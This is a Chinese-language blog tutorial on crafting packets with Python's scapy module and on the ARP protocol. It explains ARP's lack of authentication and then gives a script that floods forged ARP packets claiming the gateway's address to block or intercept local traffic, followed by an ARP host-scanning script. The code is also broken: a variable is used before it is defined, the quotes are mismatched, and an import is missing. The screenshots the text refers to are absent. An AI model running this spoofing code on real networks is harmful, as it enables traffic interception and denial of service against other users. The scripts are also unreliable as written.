从各项网络协议开始了解 分析其用途以及攻击价值 通过py构造数据包自动化的实现攻击过程
scapy模块:
该模块非常强大 可以构造绝大部分数据包:
上图构造了一个tcp的数据包 其分片为零 协议为tcp
再次构造一个数据包 通过调用show()查看默认构造数据包结构
如何对数据包的属性值进行修改呢,其实很简单
在括号中传入对应的值即可
尝试构造一个ping的数据包
数据包发出后 ping这个变量被赋值为该数据包的回包
1 ARP协议:
用于多路访问网络的物理地址获取
典型的多路访问网络如以太网中 arp用于mac地址的获取
多点帧中继网络中的 反向arp用于dlci的获取
mgre多点接入的通用路由封装中的 nhrp用于真实ip的获取
arp数据包结构
arp请求
arp响应
类型号为0806
显然第一个请求包是已知对端的mac的 这是由于本机存在目标的arp缓存
在多路访问的网络中需要逻辑地址和硬件地址的映射 mgre在封装外层头部时会进行nhrp询问对端的真实的ip地址
在每个主机的内部会维持一个arp表项
arp的攻击面在于其发包方式为广播 且不进行身份认证 换言之 我可以疯狂发包 将网关的mac地址指向不存在的地址或者为本机地址 实现阻断或者监听数据包的效果:
from scapy.all import *
import socket
des_ip=f'{local_ip.split('.')[0]}.{local_ip.split('.')[1]}.{local_ip.split('.')[2]}.0/24'
loacl_mac = 'C8:5E:A9:2F:D7:5D'
local_ip = socket.gethostbyname(socket.gethostname())
def arp_redirector():
p1=Ether(dst="ff:ff:ff:ff:ff:ff",src=loacl_mac)/ARP(pdst=des_ip,psrc="192.168.0.1")
for i in range(6000):
sendp(p1)
time.sleep(0.1)
或者arp不断修改请求对象的ip地址 观察有无回包实现同网段的地址扫描:
from scapy.all import *
import socket
des_ip=f'{local_ip.split('.')[0]}.{local_ip.split('.')[1]}.{local_ip.split('.')[2]}.0/24'
loacl_mac = 'C8:5E:A9:2F:D7:5D'
local_ip = socket.gethostbyname(socket.gethostname())
def arp_scan():
res=[]
result = srp(Ether(src=loacl_mac,dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=des_ip),iface='Intel(R) Wi-Fi 6E AX211 160MHz',timeout=2)
ans,_=result
print(f'主机存活情况为{len(ans)}\n')
for _,i in ans:
res.append([i[ARP].psrc,i[ARP].hwsrc])
for ip,mac in res:
print(f"ip:{ip} mac:{mac}")
标签:arp,py,ip,编程,网络工具,local,mac,ff,数据包
From: https://www.cnblogs.com/fr09/p/18496212